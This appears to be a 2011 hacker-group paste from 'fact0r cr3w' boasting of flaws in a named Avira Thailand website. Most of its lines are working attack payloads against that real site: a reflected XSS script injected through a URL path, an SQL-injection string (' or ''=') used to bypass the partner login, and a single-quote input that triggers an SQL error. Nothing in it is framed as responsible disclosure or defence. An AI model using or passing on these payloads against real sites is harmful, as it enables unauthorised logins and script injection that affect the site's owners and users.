@pwnz u @Avira
http://www.avira.in.th/br-ownz/<script>alert("pwnz")</script> : XSS
http://www.avira.in.th/partner-login | login:'or''=' password:'or''=' : Bypass
http://www.avira.in.th/partner-login | user:' pass:' | Error SQL


fact0r cr3w - 2011

members: sh4d - fact0r - pr0w4r & junk3r